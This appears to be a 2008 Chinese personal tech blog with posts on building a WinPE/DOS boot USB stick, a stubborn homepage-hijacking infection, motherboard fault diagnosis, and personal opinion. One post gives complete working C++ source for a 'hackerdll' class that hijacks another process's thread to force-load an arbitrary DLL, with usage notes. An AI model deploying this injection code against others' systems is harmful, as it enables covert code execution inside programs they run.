    3、把下载到的老毛桃WinPE的ISO文件解压缩到一个临时文件夹,把其中“WINPE安装”文件夹里面的AVLDR.XPE拷贝到U盘的根目录,把“WXPE”文件夹下的 SETUPLDR.BIN 也拷贝到U盘根目录并改文件名为 LDRXPE。把临时文件夹里面的 WINNT.XPE、WINPE.IS_、和“外置程序”文件夹都拷贝到 U 盘的根目录下。做完这一步,U盘就可以引导到WinPE下了。如果启动的时候选第一项“Windows PE   By:LaoMaotao”,系统将依照NTLDR----avldr.xpe----winnt.xpe----winpe.is_这个顺序链把电脑启动到Windows PE环境下。



    5、把软盘镜像文件DOS.ima拷贝到U盘根目录。



    6、把前面生成的Avldr.bin和Avlgo.sys两个文件拷贝到U盘根目录,对照Boot.ini文件可知,这两个文件是对应于菜单中第二行 for USB-HDD模式。如果启动的时候选择第二项“MS-DOS 7.1 form. USB-HDD”,系统将依照NTLDR----avldr.bin----avlgo.sys----DOS.ima这个顺序链把电脑启动到MS-DOS环境下。



    7、把前面UltraEdit编辑生成的Avldr.dos和Avdos.sys两个文件拷贝到U盘根目录,对照Boot.ini文件可知,这两个文件是对应于菜单中第三行 for USB-FDD模式。如果启动的时候选择第三项“MS-DOS 7.1 form. USB-FDD”,系统将依照NTLDR----avldr.dos----avdos.sys----DOS.ima这个顺序链把电脑启动到MS-DOS环境下。



    至此DOS/WinPE双启动系统维护U盘制作成功。




    本文选用的“WinPE 老毛桃最终修改版”可以到无忧论坛或者老毛桃的网盘下载:

    http://bbs.wuyou.com/viewthread.php?tid=94087

    http://maotao.u.winzheng.com/

    附件中Avdos.rar是我制作好的Avlgo引导文件;NTLDR.rar是NT Loader引导器文件;PeToUSB.rar是格式化NTLDR引导盘的工具;Avlgomgr2007.rar是Avlgo装配工具。其它软件由于涉及版权,请自行到网上寻找。
  • 关于hahapage.cn的问题,360无可耐何~~

    2008-09-26 08:33:42

     

            这是昨天在一公司碰过的问题:该电脑中N多病毒,又没发重装系统,只能杀毒。所幸该电脑装的金山毒霸未瘫痪,而且是最新版本。当然,正常杀毒是没法解决问题的。用其它帐户进入安本模式下,杀掉了大量病毒。又下载360最新版,升级至最新数据库,清理掉了大批木马及插件。重启后,再次用以上两个软件清查,无毒,也无恶意插件。

           然而,这时却发现,主页被换成hahapage.cn这个,任你如何修改,都换不回来。填进去一个网址,确定后,打开IE,还是这个hahapage.cn的网站。另外,启动时报rundll加载出错,找不到模块4sI96G.dll,确定后,能正常进入系统。

           使用各种软件检查,都查无异常;用魔法兔子清理,找到一个Feb2008的东西,清理后,关机出现一个svchohst的错误,重启后问题依旧;用windows清理助手,也没发现什么插件或其它东西;用hackthis之类的东西,也没查出异常。

           最后,进安全模式,检查发现注册表runonce相关键,多了一个rundll32调用4sI96G.dll的启动项。看来,这就是开机报错的原因。删除该项,重启,正常进入windows界面,还是报rundll加载出错。

          不得不佩服它的强悍,在安全模式下都能发挥作用。后来进入安全模式下改主页,测试,还是改不了。看来,该病毒至少进入了系统内核级别,或者是和系统某些内核部分绑定在一起了,不然很多杀毒软件不会发现不了它。

          在网上查找hahapage.cn相关资料,一无所获。公司客户对启动报点错,倒不很在意,重要的是该机子能正常使用,数据没有丢失或损坏。最后只好放弃进一步操作,担心损坏系统,导致数据丢失,那就回天无力了。

          事后分析,可以看出,该病毒很可能替换了系统正常文件,并且在关机时写入注册表runonce项,启动一个动态库达到其它目的。至于如何在不被众多插件,杀毒软件发现的情况下劫持IE首页,还真值得研究。听说360的技术负责人辞职走人了,360是否能跟上病毒更新速度,就看这一次了。

        

  • 上善若水

    2008-09-17 13:19:58

     

            昨天碰到一个特别蛮横的顾客,因为一个耳麦的问题,找我帮忙。我用尽了我所能想到的法子,还是没能搞定。最后,只好说:“抱歉,你的耳麦可能坏了,得拿去换。”谁知,就这一句话,就若起他无名的怒火,破口大骂。言下之意,很明白,叫我走人,怕我要钱。其实,我向来是事情办好才收钱,办不好不收费的。看他那样子,我只好忍气吞声,灰溜溜的走了。他赤着膊子,身上有很多刺青,一看就知非善类。

           但是,我心有不甘。不管多难缠的顾客,我都得面对。如果这类人我应付不来,我整个人生将会有阴影。于是,没过多久,我又打电话告诉他,我决定拿一个好的耳麦再去测试下,不管弄不弄好,都免费。他一听,答应了。然后,我再次去了他家,进一步测试,结果确实是我判断失误,耳麦没坏。尽管我没能帮他解决问题,但至少我诚恳的态度感染了他。最后他很客气的说了声谢谢。

             看来,人性并非只有恶的一面,也有善的一面。关键是你要通过什么样的方式将他激发出来。再恶的人,总归有他好的一面。我们要面对千奇百怪的人,要面对大千世界芸芸众生,虽没有佛家度人之胸怀,至少应有包容之心态。想象自己只是一条很小的流水,流经了很多地方,从高山到平原,从山间小溪到大江大河,不但将自己融入到更大的水流里面去。我们要和各种各样的水交融在一起,不然我们就不能融合。

              水,看似柔弱无比,实则无坚不摧;看似弱不经风,实则蓄势待发。水,是生命组合的基本元素,是生命活力的源泉。上善的境界就是水的境界,厚德者如水。

            

  • DLL注入进程源码

    2008-09-13 12:31:08

    -------HEADER   FILE-------  
      #ifndef   _INCLUDE_HACKER_DLL_HADER_FILE  
      #define   _INCLUDE_HACKER_DLL_HADER_FILE  
       
      #include   <windows.h>  
      #include   <shlwapi.h>  
       
      #define   WM_THREADFINISH   WM_USER+1000  
       
      typedef   struct   t_PDB  
      {  
              WORD     Type;  
              WORD     Refcount;  
              DWORD   Unk0;  
              DWORD   Unk1;  
              DWORD   Unk2;  
              DWORD   TermStatus;  
              DWORD   Unk3;  
              DWORD   DefaultHeap;  
              DWORD   MemContext;      
              DWORD   Flags;  
              DWORD   pPsp;  
              WORD     PSPSelector;  
              WORD     MTEIndex;  
              WORD     nThreads;  
              WORD     nThreadsNotTerm;  
              WORD     Unk5;  
              WORD     nR0Threads;  
              DWORD   HeapHandle;  
              WORD     K16TDBSel;  
              WORD     Unk6;  
              DWORD   Unk7;  
              DWORD   pEDB;  
              DWORD   pHandleTable;  
              struct   t_PDB   *ParentPDB;  
              DWORD   MODREFList;  
              DWORD   ThreadList;  
              DWORD   DebugeeCB;  
              DWORD   LHFreeHead;  
              DWORD   InitialR0ID;  
      }PDB,*   PPDB;  
       
      typedef   struct   t_TCB  
      {  
              WORD     Type;  
              WORD     RefCount;  
              DWORD   Unk1;  
              DWORD   pvExcept;  
              DWORD   TopOfStack;  
              DWORD   BaseOfStack;  
              WORD     K16TDB;  
              WORD     StackSel16;  
              DWORD   Unk2;  
              DWORD   UserPointer;  
              DWORD   pTIB;  
              WORD     TIBflags;  
              WORD     Win16MutxCnt;  
              DWORD   DebugContext;  
              DWORD   PtrToCurPri;  
              DWORD   MsgQueue;  
              DWORD   pTLSarray;  
              PPDB     pParentPDB;  
              DWORD   SelmanList;  
              DWORD   Unk3;  
              DWORD   Flags;  
              DWORD   Status;  
              WORD     TIBsel;  
              WORD     EmulatorSel;  
              DWORD   HandleCount;  
              DWORD   WaitNodeList;  
              DWORD   R0hThread;  
              DWORD   ptdbx;  
      }TCB,*   PTCB;  
       
      typedef   HINSTANCE   (WINAPI   *   LOADLIBRARY)(LPCTSTR);  
      typedef   BOOL   (WINAPI   *   POSTTHREADMESSAGE)(DWORD   idThread,UINT   Msg,WPARAM   wParam,LPARAM   lParam);  
         
      typedef   DWORD   (WINAPI*   OTFUNC)(HANDLE   *,DWORD,void   *,void   *);  
      typedef   LPVOID   (WINAPI   *   OBFUNC)(DWORD   dwPTID);  
       
      LPVOID   WINAPI   GetTrueProcAddress(LPSTR   lpMod,LPTSTR   lpFunc);  
      HANDLE   WINAPI   OpenThreadNT(DWORD   dwThreadID,BOOL   bInherit);  
       
      class   hackerdll  
      {  
      public:  
      hackerdll(char   *,char   *);  
      protected:  
      ~hackerdll();  
      public:  
      void   AddToThread(void);  
      protected:  
      LPVOID   XORProcessThreadID(DWORD   dwPTID);  
      HANDLE   OpenThread2(DWORD   dwThreadID,BOOL   bInherit);  
      HANDLE   OpenThreadNT(DWORD   dwThreadID,BOOL   bInherit);  
      LPVOID   GetTrueProcAddress(LPSTR   lpMod,LPTSTR   lpFunc);  
      DWORD   GetProcessID(LPCTSTR   lpszProcessName);  
      DWORD   GetThreadID(DWORD   dwOwnerPID);  
      protected:  
      bool   initok;  
      char   hackerdllfile_[MAX_PATH];  
      LPVOID   m_lpCodeBase,m_lpDataBase;  
      CONTEXT   m_OldThreadContext;  
      HANDLE   m_hInjectThread;  
      HANDLE   hdlthd_;  
      DWORD   idthd_;  
      DWORD   owneridproc,owneridthd;  
      DWORD   len_;  
      };  
       
      #endif  
      -------HEADER   FILE-------  
       
      ------CPP   FILE-------  
      #include   "hackerdll.h"  
       
      static   HANDLE   hdlthd__;  
      static   CONTEXT   cnt__;  
       
      #pragma   check_stack(off)  
       
      static   void   hackerdllentry(void)  
      {  
      ((LOADLIBRARY)   0x11111111)((char   *)   0x22222222);  
       
      ((POSTTHREADMESSAGE)   0x33333333)((DWORD)   0x44444444,WM_THREADFINISH,NULL,NULL);  
       
      while(true)  
      {  
      }  
      }  
       
      static   DWORD   FinishCallBack(LPVOID   lpParam)  
      {  
      MSG   msg_;  
       
      while(memset(&   msg_,NULL,sizeof(MSG)),PeekMessage(&   msg_,NULL,NULL,NULL,PM_REMOVE),msg_.message!=WM_QUIT)  
      {  
      if(msg_.message==WM_THREADFINISH)  
      {  
      SuspendThread(hdlthd__);  
       
      cnt__.ContextFlags=CONTEXT_FULL;  
       
      SetThreadContext(hdlthd__,&   cnt__);  
       
      ResumeThread(hdlthd__);  
       
      break;  
      }  
      }  
       
      return   true;  
      }  
       
      #pragma   check_stack(on)  
       
      hackerdll::hackerdll(char   *   hackerdll_,char   *   owner_)  
      {  
      HINSTANCE   hinstKernel,hinstUser;  
       
      LOADLIBRARY   fnLoadLibrary;  
       
      POSTTHREADMESSAGE   fnPostThreadMessage;  
       
      bool   rt1_,rt2_,rt3_,rt4_;  
       
      this->initok=false;  
       
      this->idthd_=NULL;  
       
      this->hdlthd_=NULL;  
       
      this->m_lpCodeBase=NULL;  
       
      this->m_lpDataBase=NULL;  
       
      this->len_=1024;  
       
      memset(this->hackerdllfile_,NULL,MAX_PATH);  
       
      strcpy(this->hackerdllfile_,hackerdll_);  
       
      this->owneridproc=GetProcessID(owner_);  
       
      this->owneridthd=GetThreadID(this->owneridproc);  
       
      this->m_lpCodeBase=GlobalAlloc(GMEM_FIXED   |   GMEM_SHARE   |   GMEM_ZEROINIT,this->len_);  
       
      this->m_lpDataBase=GlobalAlloc(GMEM_FIXED   |   GMEM_SHARE   |   GMEM_ZEROINIT,this->len_);  
       
      if(this->m_lpCodeBase==NULL   ||   this->m_lpDataBase==NULL)  
      {  
      return;  
      }  
       
      memcpy((BYTE   *)   this->m_lpCodeBase,(BYTE   *)   hackerdllentry,this->len_);  
       
      memcpy((BYTE   *)   this->m_lpDataBase,(BYTE   *)   this->hackerdllfile_,this->len_);  
       
      hinstKernel=GetModuleHandle("Kernel32.dll");  
       
      hinstUser=GetModuleHandle("User32.dll");  
       
      fnLoadLibrary=(LOADLIBRARY)   GetProcAddress(hinstKernel,"LoadLibraryA");  
       
      fnPostThreadMessage=(POSTTHREADMESSAGE)   GetProcAddress(hinstUser,"PostThreadMessageA");  
       
      if(fnLoadLibrary==NULL   ||   fnPostThreadMessage==NULL)  
      {  
      return;  
      }  
       
      this->hdlthd_=CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)   FinishCallBack,NULL,NULL,&   this->idthd_);  
       
      if(this->hdlthd_==NULL)  
      {  
      return;  
      }  
       
      rt1_=false;  
      rt2_=false;  
      rt3_=false;  
      rt4_=false;  
       
      for(DWORD   i=0;i<this->len_;i++)  
      {  
      DWORD   *   dwPtr=(DWORD   *)   (((BYTE   *)   this->m_lpCodeBase)+i);  
       
      switch(*   dwPtr)  
      {  
      case   0x11111111:  
       
      rt1_=true;  
       
      *   dwPtr=(DWORD)   fnLoadLibrary;  
       
      break;  
      case   0x22222222:  
       
      rt2_=true;  
       
      *   dwPtr=(DWORD)   m_lpDataBase;  
       
      break;  
      case   0x33333333:  
       
      rt3_=true;  
       
      *   dwPtr=(DWORD)   fnPostThreadMessage;  
       
      break;  
      case   0x44444444:  
       
      rt4_=true;  
       
      *   dwPtr=(DWORD)   this->idthd_;  
       
      break;  
      }  
       
      if(rt1_   &&   rt2_   &&   rt3_   &&   rt4_)  
      {  
      break;  
      }  
      }  
       
      this->initok=(rt1_   &&   rt2_   &&   rt3_   &&   rt4_);  
      }  
       
      hackerdll::~hackerdll()  
      {  
      Sleep(3000);  
       
      GlobalFree(this->m_lpCodeBase);  
       
      GlobalFree(this->m_lpDataBase);  
       
      TerminateThread(this->hdlthd_,true);  
       
      Sleep(3000);  
      }  
       
      LPVOID   hackerdll::XORProcessThreadID(DWORD   dwPTID)  
      {  
      OBFUNC   obfuscate;  
      DWORD   dwMain,*   lpdw,dw1;  
       
      dwMain=(DWORD)   GetTrueProcAddress("Kernel32.dll","GetCurrentThreadId");  
       
      lpdw=(LPDWORD)((DWORD)   dwMain+8);  
       
      dw1=((DWORD)   dwMain+12);  
       
      obfuscate=(OBFUNC)   (dw1+*lpdw);  
       
      return(obfuscate(dwPTID));  
      }  
       
      HANDLE   hackerdll::OpenThread2(DWORD   dwThreadID,BOOL   bInherit)  
      {  
      HANDLE   hThread,hprc;  
      LPDWORD   lp1;  
      DWORD   dwProcessID,dwWhere,dwTable;  
      BOOL   b1;  
      PTCB   lpThreadObj;  
      PPDB   ppdb;  
      OSVERSIONINFO   osvi;  
       
      osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  
       
      GetVersionEx(&   osvi);  
       
      SetLastError(50);  
       
      if(osvi.dwPlatformId==VER_PLATFORM_WIN32_NT)  
      {  
                      return   OpenThreadNT(dwThreadID,   bInherit);  
      }  
       
      ppdb=(PPDB)   XORProcessThreadID(GetCurrentProcessId());  
       
      lpThreadObj=(PTCB)   XORProcessThreadID(dwThreadID);  
       
      /*   check   to   make   sure   its   valid   */  
       
      if(IsBadReadPtr(lpThreadObj,sizeof(TCB)))  
      {  
      return   NULL;  
      }  
       
      /*   object   type   */  
       
      if(*   (LPBYTE)   lpThreadObj!=7)  
      {  
      return   NULL;  
      }  
       
      dwProcessID   =(DWORD)   XORProcessThreadID((DWORD)lpThreadObj->pParentPDB);  
       
      if(dwProcessID==GetCurrentProcessId())  
      {  
                      hprc   =   GetCurrentProcess();  
      }  
      else  
      {  
                      hprc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessID);  
       
      if(!hprc)  
      {  
      return   NULL;  
      }  
      }  
       
      /*  
        *   4   is   the   lowest   handle   in   the   table.  
        *   All   processes   have   this   handle.  
      */  
       
      b1   =   DuplicateHandle(hprc,(HANDLE)   4,GetCurrentProcess(),&   hThread,THREAD_ALL_ACCESS,bInherit,NULL);  
       
      if(hprc!=GetCurrentProcess())  
      {  
                      CloseHandle(hprc);  
      }  
       
      if(!b1)  
      {  
      return   NULL;  
      }  
       
      dwWhere=((DWORD)   hThread)>>2;  
       
      dwTable=ppdb->pHandleTable;  
       
      lp1=(LPDWORD)   (dwTable+(dwWhere*8)+8);  
       
      *   lp1=(DWORD)   lpThreadObj;  
       
      return(hThread);  
      }  
       
      HANDLE   hackerdll::OpenThreadNT(DWORD   dwThreadID,BOOL   bInherit)  
      {  
      HANDLE   hThread   =   NULL;  
      DWORD   struct1[]   =   {0x18,   0,   0,   0,   0,   0};  
      DWORD   struct2[]   =   {0,dwThreadID};  
      HMODULE   hLib   =   LoadLibrary("ntdll.dll");  
       
      OTFUNC   OpenThatNTThread=(OTFUNC)   GetProcAddress(hLib,"NtOpenThread");  
       
      struct1[3]=bInherit;  
       
      OpenThatNTThread(&   hThread,THREAD_ALL_ACCESS,struct1,struct2);  
       
      FreeLibrary(hLib);  
       
      return   hThread;  
      }  
       
      LPVOID   hackerdll::GetTrueProcAddress(LPSTR   lpMod,LPTSTR   lpFunc)  
      {  
      LPVOID   bla;  
       
      bla=GetProcAddress(GetModuleHandle(lpMod),lpFunc);  
       
      if(!bla)  
      {  
      return   NULL;  
      }  
       
      if(*   (LPBYTE)   bla==0x68)  
      {  
                      bla=(LPVOID)   *   (LPDWORD)   ((DWORD)bla+1);  
      }  
       
      return   bla;  
      }  
       
      void   hackerdll::AddToThread(void)  
      {  
      if(!this->initok)  
      {  
      MessageBox(NULL,"init   fail","fail",MB_OK);  
       
      return;  
      }  
       
      this->m_hInjectThread=this->OpenThread2(this->owneridthd,FALSE);  
       
      if(this->m_hInjectThread   &&   this->m_lpCodeBase   &&   this->m_lpDataBase)  
      {  
      SuspendThread(this->m_hInjectThread);  
       
      CONTEXT   ThreadContext;  
       
      ThreadContext.ContextFlags=CONTEXT_FULL;  
       
      if(GetThreadContext(this->m_hInjectThread,&   ThreadContext))  
      {  
      this->m_OldThreadContext=ThreadContext;  
       
      ThreadContext.Eip=(DWORD)   this->m_lpCodeBase;  
       
      ThreadContext.ContextFlags=CONTEXT_FULL;  
       
      SetThreadContext(this->m_hInjectThread,&   ThreadContext);  
      }  
       
      hdlthd__=this->m_hInjectThread;  
       
      cnt__=this->m_OldThreadContext;  
       
      ResumeThread(this->m_hInjectThread);  
       
      PostThreadMessage(this->owneridthd,WM_NULL,NULL,NULL);  
      }  
      }  
       
      DWORD   hackerdll::GetProcessID(LPCTSTR   lpszProcessName)  
      {  
      DWORD   dwRet=NULL;  
      char   *   strExePath=NULL;  
      char   *   rt_=NULL;  
       
      HANDLE   hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);  
       
      if(hSnapshot!=INVALID_HANDLE_VALUE)  
      {  
      PROCESSENTRY32   ProcessEntry;  
       
      ZeroMemory(&   ProcessEntry,sizeof(PROCESSENTRY32));  
       
      ProcessEntry.dwSize=sizeof(PROCESSENTRY32);  
       
      BOOL   bFlag=Process32First(hSnapshot,&ProcessEntry);  
       
      while(bFlag)  
      {  
      strExePath=strdup(ProcessEntry.szExeFile);  
       
      CharUpperBuff(strExePath,strlen(strExePath));  
       
      rt_=strstr(strExePath,lpszProcessName);  
       
      if(free(strExePath),rt_!=NULL)  
      {  
      dwRet=ProcessEntry.th32ProcessID;  
       
      break;  
      }  
       
      ProcessEntry.dwSize=sizeof(PROCESSENTRY32);  
       
      bFlag=Process32Next(hSnapshot,&   ProcessEntry);  
      }  
       
      CloseHandle(hSnapshot);  
      }  
       
      return   dwRet;  
      }  
       
      DWORD   hackerdll::GetThreadID(DWORD   dwOwnerPID)  
      {  
      DWORD   dwRet=NULL;  
       
      HANDLE   hThreadSnap=NULL;    
       
      THREADENTRY32   te32;    
       
      memset(&   te32,NULL,sizeof(THREADENTRY32));  
       
      hThreadSnap=CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,NULL);  
       
              if(hThreadSnap!=INVALID_HANDLE_VALUE)    
      {  
      te32.dwSize=sizeof(THREADENTRY32);    
       
      if(Thread32First(hThreadSnap,&   te32))  
      {    
      do    
      {    
      if(te32.th32OwnerProcessID==dwOwnerPID)    
      {    
      dwRet=te32.th32ThreadID;  
       
      break;  
      }    
      }    
      while(Thread32Next(hThreadSnap,   &   te32));    
      }  
       
      CloseHandle(hThreadSnap);  
              }    
       
      return   dwRet;  
      }  
      ------CPP   FILE-------

     

    用法:

      
      hackerdll   *   hkdll;  
       
      hkdll=new   hackerdll("path\\yours.dll","NotePad.exe");  
       
      hkdll->AddToThread();  
       
      delete   hkdll;  
       
      如果成功,则你的DLL被家到NotePad.exe中了.  
       
    可以在CLASS的构造的最后加:  
       
      /*  
      DWORD   l_;  
       
      l_=(DWORD)   FinishCallBack-(DWORD)   hackerdllentry;  
       
      memcpy((BYTE   *)   &   this->m_lpCodeBase,(BYTE   *)   &   hackerdllentry,l_);  
       
      hackerdllentry();  
      */  
      this->initok=(rt1_   &&   rt2_   &&   rt3_   &&   rt4_);  
       
      当把注释那掉后,hackerdllentry运行的结果就是我们要地

  • [转]不必着慌!主板常见软硬件故障分析排除方法

    2008-09-06 20:03:06

    不必着慌!主板常见软硬件故障分析排除方法

    主板是电脑的基础部件之一,尤如一个桥梁,担负着CPU、内存、硬盘、显卡等各种设备的连接,其性能直接关系到整台PC电脑的稳定运行。   
      
      
       
    在日常生活中,我们遇到主板的故障并不少见,常见主板故障大致有以下几种:一是加电之后无法通过自检、电脑无法正常启动;二是主板上的接口损坏,导致在检测硬盘、光驱等时出现错误;三是BIOS无法自动保存等。很多时候,由于散热不良等因素,还很有可能导致南北桥芯片烧毁,造成主板完全报废。但大部分情况下出现的故障并不可怕,主要是用户粗心大意造成的。对此,笔者特意分析了主板较为常见的主板故障案例,希望大家从中能学到解决主板故障的思路和办法。  首先,我们先来看一下主板出现故障的主要原因及判断方法:
      主板产生故障的原因,一般有三个方面:一是元器件质量引起的故障。这种故障在一些劣质的板子上比较常见,主是指主板的某个元器件因本身质量问题而损坏,导致主板的某部分功能无法正常使用,系统无法正常启动,自检过程中报错等现象。
      二是环境引发的故障。因外界环境引起的故障,一般是指人们在未知的情况下或不可预测、不可抗拒的情况下引起的。如雷击、市电供电不稳定,它可能会直接损坏主板,这种情况下人们一般都没有办法预防;外界环境引起的另外一种情况,就是因温度、湿度和灰尘等引起的故障。这种情况表现出来的症状有:经常死机、重启或有时能开机有时又不能开机等,从而造成机器的性能不稳定。
      三是人为故障。有些朋友,电脑操作方面的知识懂得较少,在操作时不注意操作规范及安全,这样对电脑的有些部件将会造成损伤。如带电插拔设备及板卡,安装设备及板卡时用力过度,造成设备接口、芯片和板卡等损伤或变形,从而引发故障。
      当一台电脑出现故障时,我们首先要来判断故障的出处,特别是像主板这种较大的设备,单凭外在表现并不能很清楚的进行判断故障的出处,这里就需要利用替换来详细检查故障的出处。可以把怀疑的部件拿到好的电脑上去试,同时也可以把好的部件接到出故障的电脑上去试。如:内存在自检时报错或容量不对,就可以用此方法来判断引起故障的真正元凶。
      当确定为主板故障之后,我们便可以进一步的对主板故障进行排查与处理。一般情况下,我们可以通过清理法、观察法与软件诊断法对主板进行处理。
      一是清理法。当发现主板上积尘过多时,我们要先对主板进行清理。由于主板积尘过多,加之尘土吸附空气中的水份,极容易造成主板无法正常工作的故障,可用毛刷清除主板上的灰尘。另外,主板上一般接有很多的外接板卡,这些板卡的金手指部分可能被氧化,造成与主板接触不良,这种问题可用橡皮擦擦去表面的氧化层。
      二是观察法。主要用到“看、摸”的技巧。在关闭电源的情况下,看各部件是否接插正确,电容、电阻引脚是否接触良好,各部件表面是否有烧焦、开裂的现象,各个电路板上的铜箔是否有烧坏的痕迹。同时,可以用手去触摸一些芯片的表面,看是否有非常发烫的现象。
      四是复原法。对于一些更改了主板BIOS设置或对CPU超频之后的主板,我们可以通过恢复主板的默认设置,来排除一些常见的故障。特别是死机、重新启动这种故障,一般情况下是由于对CPU进行超频后所造成的,将CPU改成默认的频率后一般这种故障会消失。
      开机无显示的故障处理。一般认为,开机无显示故障是硬件引起,这种看法有一定的片面性。在检修这类故障的时候,我们一般还是应该先从软故障的角度入手解决问题。开机时,若电源指示灯没有亮,一般应该怀疑外接电源没有接好或电源有问题。若开机电源指示灯亮但无显示,这种情况一般应按以下的顺序去排查故障:
      一是通过主板的跳线(一般在CMOS的电池旁边,具体位置可以参看主板说明书)清除主板上CMOS原有的设置再开机。
      二是重新安装CPU后再开机。
      三将电脑硬件组成最小系统 后再开机。
      在经过以上三个步骤后,若开机还是没有显示,这时可以在最小系统中拔掉内存。若开机报警,则说明主板应该没有太大的问题。故障的怀疑重点应该放在其他设备上。若在拔掉内存后开机不报警,一般来说,故障可能出在主板上,这时只有把主板送到专业的维修点去维修。
      开机有显示但自检无法通过的故障处理。开机有显示但自检无法通过,这类故障一般都会有错误提示信息。我们在排除这类故障时,主要是根据该提示信息,找出故障点。但这类故障一般是因为主板的某个部件损坏引起,多数应该属于硬故障,但也不排除软故障引起的可能。针对软故障的排查,我们可以依照以下的顺序进行:
      一是检查BIOS设置。主要是检查因BIOS设置不正确引起的故障。首先可以尝试清除CMOS,看故障是否消失。主板上一般都有清除CMOS的跳线,具体的位置可以参看主板说明书。同时也应该检查BIOS中的设置是否与实际的配置不相符(如:磁盘参数、内存类型、CPU参数、显示类型、温度设置、启动顺序等)。最后可以根据需要更新BIOS来检查故障是否消失。
      二是部件的检查。主要是针对连接在主板上的所有板卡、连接线和其他连接设备的检查。检查是否有短路、接插方法是否正确、接触是否良好,可以通过重新插拔来解决一些故障。同时应检查部件的后挡板尺寸是否合适,这可通过去掉后挡板检查。还有对有些部件可以换个插槽和连接头使用。
    对主板故障进行了大体了解之后,我们通过一些实例来细谈一下各种常见故障的排除方法。
      故障一:主板防病毒未关闭,导致系统无法安装
      故障现象:一台老Celeron 333配置的计算机,在安装Windows 98时,发现在安装初始阶段屏幕上突然出现一个黑色矩形区域,像是有什么提示,随后就停止安装了。调整显示器亮度和对比度开关也无效,感觉和病毒有关。用杀毒软件查杀病毒,并没有发现任何病毒。后来经人指点,进入了CMOS设置程序,将“BIOS Features Setup”(BIOS功能设置)中的“Virus Warning”(病毒警告)选项由“Enabled”(允许)设置成“Disabled”(禁止)后,重装Windows 98获得成功。
      故障分析:此现象比较容易出现在新购主板中,因为它们的BIOS中的防病毒设置大多默认设置为Enabled,所以会出现无法安装系统的问题。此问题严格地讲,不应算主板故障。但往往许多用户不是很注意,导致频频发生。因此有必要再提一下,对于类似故障,只要仔细看下主板说明书就能搞定。
      故障二:主板温控失常 引发主板“假死”
      故障现象:华硕P3B-F主板上有智能监控芯片,因此可对CPU温度进行监视。在购该主板时,另购一根2Pin的温度监控线,插于CPU插槽旁的JTP针脚上。后来在一次玩游戏过程中,机器突然蓝屏,重启后,等到光驱、硬盘自检完后显示器居然不亮了。由于之前报告蓝屏错误,起初以为是内存出错,后来更换内存后依然无效。又开始怀疑CPU故障,换了一块Pentium III 450 CPU,故障依旧。百般无奈下,突然发现原来接在主板上的温控线脱落,掉在主板上……难道是温度监控线导致的故障吗?重新连接温度监控线后,再开机居然一切正常了。
      故障分析:由于现在CPU发热量非常大,所以许多主板都提供了严格的温度监控和保护装置。一般CPU温度过高,或主板上的温度监控系统出现故障,主板就会自动进入保护状态。拒绝加电启动,或报警提示。上述例子就是由于主板温度监控线脱落,导致主板自动进入保护状态,拒绝加电。所以当你的主板无法正常启动或报警时,先检查下主板的温度监控装置是否正常。
      故障三:IRQ设置错误导致鼠标不可用
      故障现象:一台老式586电脑,安装Windows或启动Windows时鼠标不可用。开始认为是鼠标问题,更换后依然时不时出现类似故障。再次更换鼠标,问题依旧,怀疑是主板PS/2鼠标接口故障,拿到专业主板检测点检查PS/2鼠标口正常。后来发现原来是CMOS参数设置错误引起的。
      故障分析:因为在CMOS设置程序的电源管理栏有一项Modem use IRQ项目,此机器的选项分别为3、4、5......、NA,一般默认选项为3,将其设置为3以外的中断项即可。此类故障一般常见于老式586电脑,新式主板一般不会有此问题。在一些老式586电脑上其COM口与LPT口是靠一根信号连接线连到机箱外的,其COM口信号连接线随主板不同,接法也有所不同,如若接法不对也会导致鼠标不可用,它的接法一般有以下两种:①信号线按照1至9的顺序依次与连接头相连;②信号线与连接点交叉相连,连接头上面一排分别连接信号线的1、3、5、7、9,下面一排为2、4、6、8。
      故障四:主板过热导致频繁死机
      故障现象:一台Tualatin/256MB DDR/GeForce2 MX440主机频繁死机,以为感染病毒,经查杀后未发现任何病毒。又认为是硬盘碎片过多,导致系统不稳定。但整理硬盘碎片,甚至格式化C盘重做系统,但一段时间后又反复死机。开始考虑到硬件自身问题了……后来检查出来是主板过热导致不稳定,因为主板是杂牌i845EP主板,做工差不说,且北桥上无散热风扇,加散热风扇后,问题解决。
      故障分析:一般为主板或CPU有问题,如若按此法不能解决故障,那就只有更换主板或CPU了。出现此类故障一般是由于主板Cache有问题或主板设计散热不良引起,笔者在某品牌815EP主板上就曾发现因主板散热不够好而导致该故障。在死机后触摸CPU周围主板元件,发现其温度非常高且烫手。更换大功率风扇后,死机故障得以解决。对于Cache有问题的故障,可以进入CMOS设置程序,将Cache禁止后即可顺利解决问题,当然,Cache禁止后速度那就肯定会有影响了。
      故障五:IDE接线错误 主板六亲不认
      故障现象:一台AthlonXP 1600+/Seagate 40GB/256MB DDR/GeForce2 MX主机,在一次双硬盘对拷后,重新连接主硬盘并开机,机器提示找不到任何IDE设备,找不到硬盘也无法进入Windows XP。重启进入CMOS设置程序后,发现检测不到任何IDE设备。换另外硬盘也检测不到,怀疑是主板IDE口出现故障,但也不至于全部的IDE口都损坏了?继续检查,发现ATA/100硬盘线是Slave口接在硬盘上,于是更换为Master接口,开机恢复正常。
      故障分析:此故障看似复杂,没有经验的菜鸟会误认为是硬件损坏,但这仅仅是因为IDE接线错误造成的,此类现象还经常发生在我们身边。有的朋友再挂硬盘时,因为没有及时更改跳线,也会出现类似情况。还有的朋友出现找不到硬盘故障,除去硬盘本身出现故障的可能外,还有可能是由于主板的IDE线或者IDE口损坏造成。只要仔细检查,一般都可以排除此类故障。
  • 阿里巴巴,原来是一家美国公司!!

    2008-09-06 11:11:13

     

              从微软收购雅虎事件中,我才清醒的发现,原来被国人吹得神乎其神的马云,只是一个高级打工仔,每天在帮雅虎公司挣钱。阿里巴巴实际上只是雅虎的众多海外子公司之一。

             马云创业神话,被国人一再相传,成为成功学的典范,甚至成了民族的骄傲,听说杭州人还想为马云树卑立传。可是,马云所创立的阿里巴巴早已不是一家民族本土企业,其最大股东为雅虎,而雅虎的股东几乎大部分是美国人。也就是阿里巴巴一路走红,大把大把的挣钱,这些钱大部分流入了美国人的腰包。

